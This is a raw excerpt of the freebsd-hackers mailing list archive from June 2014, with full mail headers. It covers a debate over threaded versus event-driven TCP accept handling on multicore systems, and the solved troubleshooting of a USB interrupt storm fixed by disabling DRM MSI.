(mail-qa0-x236.google.com [IPv6:2607:f8b0:400d:c00::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BB3402969; Sat, 7 Jun 2014 19:15:19 +0000 (UTC) Received: by mail-qa0-f54.google.com with SMTP id j15so6188389qaq.27 for ; Sat, 07 Jun 2014 12:15:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=qku3yGfHaJJyXMbq3ZFVe2UTzCre9xhcFDyeTndrpFs=; b=jK/2QVHnMZYUaBCeDN5L2Lmx0HguT25vv1jD2Gp/UA688M06zbiu19Y97hoWi+BUmy /jEFLYsmcN/+WLOTpqK9oeJerDTYSLVIPe4SqWhzmn9ABn82Qu1i3akxDn+L5lloWL5i /OcZLNJ3bTvkRXwwOGKjlpuI6c0xPF4hsoelGlP1ieY2RbaG7Ng93XgWRDkdIBHrGgG6 V4cdWu4HtbhHSJUDHv+M6DUww3QGVnHK6RFhzKFXNwR4drApYpeVMl3tGvG5ZjNVOqwZ d6cgwZpaC0SHHA5MTEZEalwW9wCERLUGTlgPQFZMJk/FJUvcVmtEV2Dfk6+ySUJdu+ra rcPg== MIME-Version: 1.0 X-Received: by 10.224.135.66 with SMTP id m2mr20561977qat.55.1402168518856; Sat, 07 Jun 2014 12:15:18 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Sat, 7 Jun 2014 12:15:18 -0700 (PDT) In-Reply-To: References: <1402159374.20883.160.camel@revolution.hippie.lan> Date: Sat, 7 Jun 2014 15:15:18 -0400 X-Google-Sender-Auth: aHAR2FY7IXwlzEkqEbZrF7akBm0 Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Igor Mozolevsky Content-Type: text/plain; charset=UTF-8 Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 19:15:20 -0000 On 7 June 2014 14:38, Igor Mozolevsky wrote: > > > > On 7 June 2014 17:42, Ian Lepore wrote: >> >> On Sat, 2014-06-07 at 12:06 -0400, Adrian Chadd wrote: >> > On 7 June 2014 10:19, Igor Mozolevsky wrote: >> > > On 7 June 2014 01:53, Dirk Engling wrote: >> > > >> > >> >> > >> On Sat, 7 Jun 2014, Daniel Janzon wrote: >> > >> >> > >> Is there any better way than doing the accept() call in one thread >> > >> and >> > >>> then >> > >>> dispatch it to a thread on another core with any user space method? >> > >>> >> > >> >> > > See C10K problem [1]. >> > > >> > > >> > > Why use accept() and not kevent()? You need to keep it portable? >> > >> >> > > >> > > Has anyone rebutted the threads better than events paper[2] yet? >> > > >> > > >> > > >> > > 1. http://www.kegel.com/c10k.html >> > > >> > > 2. >> > > >> > > https://www.usenix.org/legacy/events/hotos03/tech/full_papers/vonbehren/vonbehren.pdf >> > >> > Not likely; but that paper talks about a threading model that isn't >> > currently in use in popular UNIX operating systems. It also compares a >> > lightweight thread implementation with a lightweight server to an >> > event driven system with worker threads that acted pretty badly, >> > causing extremely bad memory use and context switching. >> > >> > We've all gotten better at programming since then. >> >> Yeah, when I glanced at the link and saw it was a cite of a 2003 paper, >> my gut reaction was "Yeah, it has been rebutted by 11 years of everyone >> just getting on with their lives and evolving absolutely everything that >> was tested into something completely different now." > > > I can't possibly argue with that sort of scientific method, but back in > 2008, someone did some stuff with Java and got interesting results[1]. > > > 1. http://www.mailinator.com/tymaPaulMultithreaded.pdf > It's Java, and its design also pulled in bits from the Java way you do IO. I think we can do better. -a From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 19:27:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 612D5CAA; Sat, 7 Jun 2014 19:27:19 +0000 (UTC) Received: from mail-qg0-x235.google.com (mail-qg0-x235.google.com [IPv6:2607:f8b0:400d:c04::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id ED7C72A41; Sat, 7 Jun 2014 19:27:18 +0000 (UTC) Received: by mail-qg0-f53.google.com with SMTP id f51so7013291qge.40 for ; Sat, 07 Jun 2014 12:27:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=EsSacIYzxHm3kMZ4/JF1k9jFl7NErR+j9cIpEC6TFJM=; b=KFEiWhDB/xOX2e8tOmWfOFlvyvpYybjlmnyCuOIJGmcP0n4JXSKdHrN1SJ2Yup8v74 UgR2ty+wKHeMGGm1uqiU9L5C5fZovh132b4uttVBjXuwhstOwa6Bsf4jbwdZdklf6vCT /dkoQ2VdCp4cnUvZRm077/zim2DUJberYdqSc9TLupOGJszup5ykKyty5CX6NX8lTxeB VdAhOuZWJiTwTzMadk6jAf0QeaRNev54jb5DBqbuwZ6AaNLhtR/kDpT1SDi1Y10jUNo0 H3XZZS0d/s0dpYXUSg1YtmG5xBv0vMB2bU5dvFy8k8FWmcnNZc6YPlntpzk7tL43O5+E 1HnQ== X-Received: by 10.224.14.79 with SMTP id f15mr20279538qaa.96.1402169238068; Sat, 07 Jun 2014 12:27:18 -0700 (PDT) MIME-Version: 1.0 Sender: mozolevsky@gmail.com Received: by 10.224.100.72 with HTTP; Sat, 7 Jun 2014 12:26:37 -0700 (PDT) In-Reply-To: References: <1402159374.20883.160.camel@revolution.hippie.lan> From: Igor Mozolevsky Date: Sat, 7 Jun 2014 20:26:37 +0100 X-Google-Sender-Auth: 1yJG7JDHc1uYE5CLmkO1TIbUjMo Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? To: Adrian Chadd Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 19:27:19 -0000 On 7 June 2014 20:15, Adrian Chadd wrote: > On 7 June 2014 14:38, Igor Mozolevsky wrote: > > > > > > > > On 7 June 2014 17:42, Ian Lepore wrote: > >> > >> On Sat, 2014-06-07 at 12:06 -0400, Adrian Chadd wrote: > >> > On 7 June 2014 10:19, Igor Mozolevsky wrote: > >> > > On 7 June 2014 01:53, Dirk Engling wrote: > >> > > > >> > >> > >> > >> On Sat, 7 Jun 2014, Daniel Janzon wrote: > >> > >> > >> > >> Is there any better way than doing the accept() call in one thread > >> > >> and > >> > >>> then > >> > >>> dispatch it to a thread on another core with any user space > method? > >> > >>> > >> > >> > >> > > See C10K problem [1]. > >> > > > >> > > > >> > > Why use accept() and not kevent()? You need to keep it portable? > >> > >> > >> > > > >> > > Has anyone rebutted the threads better than events paper[2] yet? > >> > > > >> > > > >> > > > >> > > 1. http://www.kegel.com/c10k.html > >> > > > >> > > 2. > >> > > > >> > > > https://www.usenix.org/legacy/events/hotos03/tech/full_papers/vonbehren/vonbehren.pdf > >> > > >> > Not likely; but that paper talks about a threading model that isn't > >> > currently in use in popular UNIX operating systems. It also compares a > >> > lightweight thread implementation with a lightweight server to an > >> > event driven system with worker threads that acted pretty badly, > >> > causing extremely bad memory use and context switching. > >> > > >> > We've all gotten better at programming since then. > >> > >> Yeah, when I glanced at the link and saw it was a cite of a 2003 paper, > >> my gut reaction was "Yeah, it has been rebutted by 11 years of everyone > >> just getting on with their lives and evolving absolutely everything that > >> was tested into something completely different now." > > > > > > I can't possibly argue with that sort of scientific method, but back in > > 2008, someone did some stuff with Java and got interesting results[1]. > > > > > > 1. http://www.mailinator.com/tymaPaulMultithreaded.pdf > > > > It's Java, and its design also pulled in bits from the Java way you do IO. > > I think we can do better. I did say it was in Java, but so what? By 2008 Sun were going out of their way to make Java both scalable and zero-cost. The point I was making was that we set off with the assumption that kevent-based sockets are faster, therefore server (as a whole) was assumed to have a higher performance; and never bothered to actually measure it. On coding complexity front, from slide 36: The story of Rob Van Behren (as remembered by me from a lunch with Rob) Set out to write a high-performance asynchronous server system Found that when switching between clients, the code for saving and restoring values/state was difficult Took a step back and wrote a finely-tuned, organized system for saving and restoring state between clients When he was done, he sat back and realized he had written the foundation for a threading package -- Igor M. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 19:33:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61D3FE79 for ; Sat, 7 Jun 2014 19:33:42 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2801F2AE8 for ; Sat, 7 Jun 2014 19:33:42 +0000 (UTC) Received: from [172.15.184.248] by 3capp-mailcom-lxa05 with HTTP; Sat, 7 Jun 2014 21:33:40 +0200 MIME-Version: 1.0 Message-ID: From: "Dutch Ingraham" To: "Konstantin Belousov" Subject: [SOLVED] Re: Fwd: Interrupt Overload Content-Type: text/plain; charset=UTF-8 Date: Sat, 7 Jun 2014 21:33:40 +0200 Importance: normal Sensitivity: Normal In-Reply-To: <20140607184126.GQ3991@kib.kiev.ua> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> <53934250.1090403@gmx.us> <20140607175752.GP3991@kib.kiev.ua> , <20140607184126.GQ3991@kib.kiev.ua> X-UI-Message-Type: mail X-Priority: 3 X-Provags-ID: V03:K0:anqLJbuDGBMA107OV1b0h4ExXlLagxaRRPtgha7aFHm qZphWuKhoJZcz17yYOH9moP5H68oUr3pTbMZZbJOa6l7StJabh thzwf8LGxrCbKLNXKMvl7+Hjl2Mpfi2X15UoGlqfXbAio8qyM/ XoV18mSNPvL30eI9akz+k4Gwxr7UHPRD34AZNvAxCN6tRWuXK1 knDEKLv28Kyxo50GZtr2piA0iFCqNnBlEeHELxiVyNthUMxEVO c1BeIKfSspteC0hiphGfpsKi0BpiM83jp0rIzymJcB91Pn7pRh FxH0LUbLJLSPP/cjFSWBJ/YeQml Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 19:33:42 -0000 > Sent: Saturday, June 07, 2014 at 2:41 PM > From: "Konstantin Belousov" > To: "Dutch Ingraham" > Cc: freebsd-hackers@freebsd.org > Subject: Re: Fwd: Interrupt Overload > > On Sat, Jun 07, 2014 at 08:21:08PM +0200, Dutch Ingraham wrote: > > > > > > > Sent: Saturday, June 07, 2014 at 1:57 PM > > > From: "Konstantin Belousov" > > > To: "Dutch Ingraham" > > > Cc: freebsd-hackers@freebsd.org > > > Subject: Re: Fwd: Interrupt Overload > > > > > > On Sat, Jun 07, 2014 at 12:48:16PM -0400, Dutch Ingraham wrote: > > > > On 06/07/2014 12:04 PM, Vladislav Prodan wrote: > > > > > > > > > > > > > > > > > > > > --- Original message --- > > > > > From: "Dutch Ingraham" > > > > > Date: 7 June 2014, 18:33:12 > > > > > > > > > > > > > > >> > > > > >> Thanks for the response. > > > > >> > > > > >> The output you requested: > > > > >> > > > > >> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) > > > > >> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > > > > >> > > > > >> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > > > > >> > > > > >> I also changed the type of timer to LAPIC and rebooted; there was no > > > > >> appreciable change in the interrupt activity. > > > > > > > > > > After reboot what became timer? :) > > > > > > > > > > You can change the timer "on the fly", without rebooting the system. > > > > > > > > > > If LAPIC does not help, then try other timers. > > > > > > > > > > > > > > > -- > > > > > Vladislav V. Prodan > > > > > System & Network Administrator > > > > > support.od.ua > > > > > > > > > > _______________________________________________ > > > > > freebsd-hackers@freebsd.org mailing list > > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > > > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > > > > > > > > > > > > You're right, it is not persistent. I changed to each different event > > > > timer and the only one that made a difference was the i8254; that > > > > dropped the cpu load from 30% to 10-12%. Much better, but still of > > > > course not acceptable for a Core II-Duo running at 3.0GHz. The load > > > > averages shown in do also drop proportionally. Interestingly, > > > > though, shows the same interrupt rate - 325K/sec. > > > > > > > > What do you make of the fact that when I suspend with < > > > > and then wake-up, everything is absolutely normal, regardless of event > > > > timer type? > > > > > > You did not shown _useful_ output of vmstat -i. Do it when the storm > > > occurs. Also, show the pciconf -lvc output on the machine. > > > > > > > Sorry - I was entering that output by hand, so truncated what I thought was not useful. > > In addition, the storm is always occurring, unless I put the machine to sleep and then wake-up. > > > > Here is the full vmstat -i: > > > > dutch:~:# vmstat -i > > interrupt total rate > > irq1: atkbd0 48 0 > > irq0: attimer0 12236927 1178 > > irq8: atrtc0 146537 14 > > irq16: uhci0 3362560857 323946 > > irq18: atapci0+ 19828 1 > > irq23: uhci3 ehci1 2 0 > > cpu0:timer 163301 15 > > irq256: hpet0:t0 4516011 435 > > irq257: hpet0:t1 83960 8 > > irq264: em0 31799 3 > > irq265: hdac0 95 0 > > irq266: ahci0:ch0 8423 0 > > irq267: ahci0:ch1 15620 1 > > cpu1:timer 1229 0 > > irq274: vgapci0 10041 0 > > Total 3379794678 325606 > > dutch:~:# > > > > And here is pciconf -lvc: > > > > dutch:~:# pciconf -lvc > > hostb0@pci0:0:0:0: class=0x060000 card=0x04201028 chip=0x2e108086 rev=0x03 hdr=0x00 > > vendor = 'Intel Corporation' > > device = '4 Series Chipset DRAM Controller' > > class = bridge > > subclass = HOST-PCI > > cap 09[e0] = vendor (length 12) Intel cap 6 version 1 > > pcib1@pci0:0:1:0: class=0x060400 card=0x04201028 chip=0x2e118086 rev=0x03 hdr=0x01 > > vendor = 'Intel Corporation' > > device = '4 Series Chipset PCI Express Root Port' > > class = bridge > > subclass = PCI-PCI > > cap 0d[88] = PCI Bridge card=0x04201028 > > cap 01[80] = powerspec 3 supports D0 D3 current D0 > > cap 05[90] = MSI supports 1 message > > cap 10[a0] = PCI-Express 2 root port slot max data 128(128) link x0(x16) > > speed 0.0(5.0) ASPM disabled(L0s) > > ecap 0002[100] = VC 1 max VC0 > > ecap 0005[140] = Root Complex Link Declaration 1 > > vgapci0@pci0:0:2:0: class=0x030000 card=0x04201028 chip=0x2e128086 rev=0x03 hdr=0x00 > > vendor = 'Intel Corporation' > > device = '4 Series Chipset Integrated Graphics Controller' > > class = display > > subclass = VGA > > cap 05[90] = MSI supports 1 message enabled with 1 message > > cap 01[d0] = powerspec 2 supports D0 D3 current D0 > > Try to set the tunable hw.drm.msi to 0 before i915 driver is loaded. > I.e. the easiest is to set it at loader prompt. If you load driver > by starting Xorg, then kenv hw.drm.msi=0 would be enough. > > Either way, helped it or not, post the vmstat -i output while the Xorg > is running. > BEAUTIFUL!! Knocked the uhci interrupts to normal. Here is the >vmstat -i> with X running and hw.drm.msi=0 set: dutch@dutch:~ % vmstat -i interrupt total rate irq1: atkbd0 48 0 irq16: uhci0+ 167 1 irq18: atapci0+ 344 3 irq23: uhci3 ehci1 2 0 irq256: hpet0:t0 10675 111 irq257: hpet0:t1 5897 61 irq264: em0 341 3 irq265: hdac0 95 0 irq266: ahci0:ch0 4274 44 irq267: ahci0:ch1 155 1 Total 21998 229 dutch@dutch:~ % HPETs are a little high, but overall 1000% better. I have added to my /boot/loader.conf. I see where this was discussed back in the 7.2R release notes, but I would have never found it. Many thanks for your help. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 19:38:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 92298F9; Sat, 7 Jun 2014 19:38:24 +0000 (UTC) Received: from mail-qg0-x235.google.com (mail-qg0-x235.google.com [IPv6:2607:f8b0:400d:c04::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3C62A2B0E; Sat, 7 Jun 2014 19:38:24 +0000 (UTC) Received: by mail-qg0-f53.google.com with SMTP id f51so6978235qge.26 for ; Sat, 07 Jun 2014 12:38:23 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=QqwSkqrlOuZEyHmHg2XnMkN0j2ybvZ2OjcvuPazu6Jk=; b=XhakTGB47TzfohaifmcXLhcbqMGgLU0PuQWUlnBZQpaR5CMOYhZddl7x+fT6mBDvpl ZdjQM7/OFeyMk+u4hbvb4AsxGSa+PIHeHzcwpB0mqNaiRKGP0sYhc/vE1YDENckh6XT1 TOosM/kC8Y5R90J796c1qORDYgdyzpAHVG+izgt1NoglPdcPRpfabz7+y457I5iBiy6K wFfOngtBlkDNXz2frl6ECftRpaJvyfOBs7lwTBxZ1KV6v4zCn+dWqVCXB6/mT7kIeC9u 9vhAHuQ4AnOsAQUztVJBte8VYRTik5JrTzu/Z6EFGdgfIhXtbT0T4z/Bvcg3egF03e+j hnhQ== MIME-Version: 1.0 X-Received: by 10.224.43.148 with SMTP id w20mr20685071qae.26.1402169903418; Sat, 07 Jun 2014 12:38:23 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Sat, 7 Jun 2014 12:38:23 -0700 (PDT) In-Reply-To: References: <1402159374.20883.160.camel@revolution.hippie.lan> Date: Sat, 7 Jun 2014 15:38:23 -0400 X-Google-Sender-Auth: JHcX5-Dc0ByIPS9xtD8o7FHQhps Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Igor Mozolevsky Content-Type: text/plain; charset=UTF-8 Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 19:38:24 -0000 On 7 June 2014 15:26, Igor Mozolevsky wrote: > I did say it was in Java, but so what? By 2008 Sun were going out of their > way to make Java both scalable and zero-cost. The point I was making was > that we set off with the assumption that kevent-based sockets are faster, > therefore server (as a whole) was assumed to have a higher performance; and > never bothered to actually measure it. On coding complexity front, from > slide 36: > > The story of Rob Van Behren > (as remembered by me from a lunch with Rob) > > Set out to write a high-performance asynchronous server system > > Found that when switching between clients, the code for saving and restoring > values/state was difficult > > Took a step back and wrote a finely-tuned, organized system for saving and > restoring state between clients > > When he was done, he sat back and realized he had written the foundation for > a threading package Right, and he implemented a _userland_ threading package. He tried writing a generic framework for doing this stuff, likely with coroutines, and yes he ended up with a userland threading library. This doesn't surprise me. We can do better. We can batch syscalls. We can batch event updates. We can batch IO. We can look at doing zero-copy IO. We can schedule things to keep them hot on CPU cores. He didn't talk about any of that. As I said, there's much more to this picture than just "threaded or not threaded." Take a look at the recentish Yahoo! paper talking about batched syscalls, for example. I'm jut tackling a small corner of it. Once it's done I'll likely look at some VM-light way of doing zero-copy IO. (The VM locking and refcouting overhead for doing all those 4k operations just sucks.) But this is all in my spare time, so it'll happen when it happens. I'm just fed up with it not being done. -a From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 20:16:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3DF7B6C0; Sat, 7 Jun 2014 20:16:11 +0000 (UTC) Received: from mail-qg0-x230.google.com (mail-qg0-x230.google.com [IPv6:2607:f8b0:400d:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C95212E09; Sat, 7 Jun 2014 20:16:10 +0000 (UTC) Received: by mail-qg0-f48.google.com with SMTP id i50so7135797qgf.35 for ; Sat, 07 Jun 2014 13:16:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=280a4YbN/41UZG20iS9j4hkGj9anyKbRcP8/LSIHdnE=; b=KMuOP2F7HgCGpKj5Hh74+OLEIXLjWUwvikBQABRso5ec9rGSihgmITgVblGDaZXDR0 Ijt/gMKoZ0miKkWGagNVLN/PffFH1UcWJAfTHUVFeHcVnCLroEHRtIITv9l3nnXAm3qV Pjvb40wCPNXNbrC3sDPVm5JbPXNdvrVNw8RVQqkd7j1zondG8B8WUV7zekFAvsrndQrs bNrzq8uuIPADYS8Na1/YvleZl5Sgoo9C5r6B8Z9Ni08djACsm3k3xKBrqzdZ0BWwifep k51j8FZM+GN35Y0FWpKCApTPbgeT7IlSZPJUsHAm00gG/ma1aqFnhuCzrxFfm5ILP6gE YM1A== X-Received: by 10.224.122.211 with SMTP id m19mr20744605qar.6.1402172169877; Sat, 07 Jun 2014 13:16:09 -0700 (PDT) MIME-Version: 1.0 Sender: mozolevsky@gmail.com Received: by 10.224.100.72 with HTTP; Sat, 7 Jun 2014 13:15:29 -0700 (PDT) In-Reply-To: References: <1402159374.20883.160.camel@revolution.hippie.lan> From: Igor Mozolevsky Date: Sat, 7 Jun 2014 21:15:29 +0100 X-Google-Sender-Auth: AcVZCljGqWCRc69D57fKf4laPPQ Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? To: Adrian Chadd Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Hackers freeBSD , Daniel Janzon , Dirk Engling , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 20:16:11 -0000 On 7 June 2014 20:38, Adrian Chadd wrote: > On 7 June 2014 15:26, Igor Mozolevsky wrote: > > > I did say it was in Java, but so what? By 2008 Sun were going out of > their > > way to make Java both scalable and zero-cost. The point I was making was > > that we set off with the assumption that kevent-based sockets are faster, > > therefore server (as a whole) was assumed to have a higher performance; > and > > never bothered to actually measure it. On coding complexity front, from > > slide 36: > > > > The story of Rob Van Behren > > (as remembered by me from a lunch with Rob) > > > > Set out to write a high-performance asynchronous server system > > > > Found that when switching between clients, the code for saving and > restoring > > values/state was difficult > > > > Took a step back and wrote a finely-tuned, organized system for saving > and > > restoring state between clients > > > > When he was done, he sat back and realized he had written the foundation > for > > a threading package > > Right, and he implemented a _userland_ threading package. He tried > writing a generic framework for doing this stuff, likely with > coroutines, and yes he ended up with a userland threading library. > This doesn't surprise me. > Not quite - the gist (and the point) of that slide with Rob's story was that by the time Rob wrote something that could comprehensively deal with states in an even-driven server, he ended up essentially re-inventing the wheel. The undeniable truth of the current state of CPU architecture is that while the GHz remains the same (and in a lot of cases is actually going down), the number of cores is on the increase, so it makes little sense to have a server that doesn't take full advantage of all available resources. Paul Tyma's presentation posted earlier did conclude with various models for different types of daemons, which the OP might find at least interesting. We can do better. Quite likely- but the OP was asking what the current state is, and not what could happen X years down the line. -- Igor M. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 20:17:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 970A7843 for ; Sat, 7 Jun 2014 20:17:27 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 37C162E26 for ; Sat, 7 Jun 2014 20:17:27 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s57JjxCv053287; Sat, 7 Jun 2014 22:45:59 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s57JjxCv053287 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s57JjxAT053285; Sat, 7 Jun 2014 22:45:59 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 7 Jun 2014 22:45:59 +0300 From: Konstantin Belousov To: Dutch Ingraham Subject: Re: [SOLVED] Re: Fwd: Interrupt Overload Message-ID: <20140607194559.GT3991@kib.kiev.ua> References: <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> <53934250.1090403@gmx.us> <20140607175752.GP3991@kib.kiev.ua> <20140607184126.GQ3991@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="asVK9fW/mNnnZXE9" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 20:17:27 -0000 --asVK9fW/mNnnZXE9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jun 07, 2014 at 09:33:40PM +0200, Dutch Ingraham wrote: >=20 >=20 > > Sent: Saturday, June 07, 2014 at 2:41 PM > > From: "Konstantin Belousov" > > To: "Dutch Ingraham" > > Cc: freebsd-hackers@freebsd.org > > Subject: Re: Fwd: Interrupt Overload > > > > On Sat, Jun 07, 2014 at 08:21:08PM +0200, Dutch Ingraham wrote: > > >=20 > > >=20 > > > > Sent: Saturday, June 07, 2014 at 1:57 PM > > > > From: "Konstantin Belousov" > > > > To: "Dutch Ingraham" > > > > Cc: freebsd-hackers@freebsd.org > > > > Subject: Re: Fwd: Interrupt Overload > > > > > > > > On Sat, Jun 07, 2014 at 12:48:16PM -0400, Dutch Ingraham wrote: > > > > > On 06/07/2014 12:04 PM, Vladislav Prodan wrote: > > > > > >=20 > > > > > >=20 > > > > > > =20 > > > > > > --- Original message --- > > > > > > From: "Dutch Ingraham" > > > > > > Date: 7 June 2014, 18:33:12 > > > > > > =20 > > > > > >=20 > > > > > >> > > > > > >> Thanks for the response. > > > > > >> > > > > > >> The output you requested: > > > > > >> > > > > > >> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HP= ET4 (440) > > > > > >> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > > > > > >> > > > > > >> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > > > > > >> > > > > > >> I also changed the type of timer to LAPIC and rebooted; there = was no > > > > > >> appreciable change in the interrupt activity. > > > > > >=20 > > > > > > After reboot what became timer? :) > > > > > >=20 > > > > > > You can change the timer "on the fly", without rebooting the sy= stem. > > > > > >=20 > > > > > > If LAPIC does not help, then try other timers. > > > > > >=20 > > > > > >=20 > > > > > > -- > > > > > > Vladislav V. Prodan > > > > > > System & Network Administrator > > > > > > support.od.ua > > > > > > =20 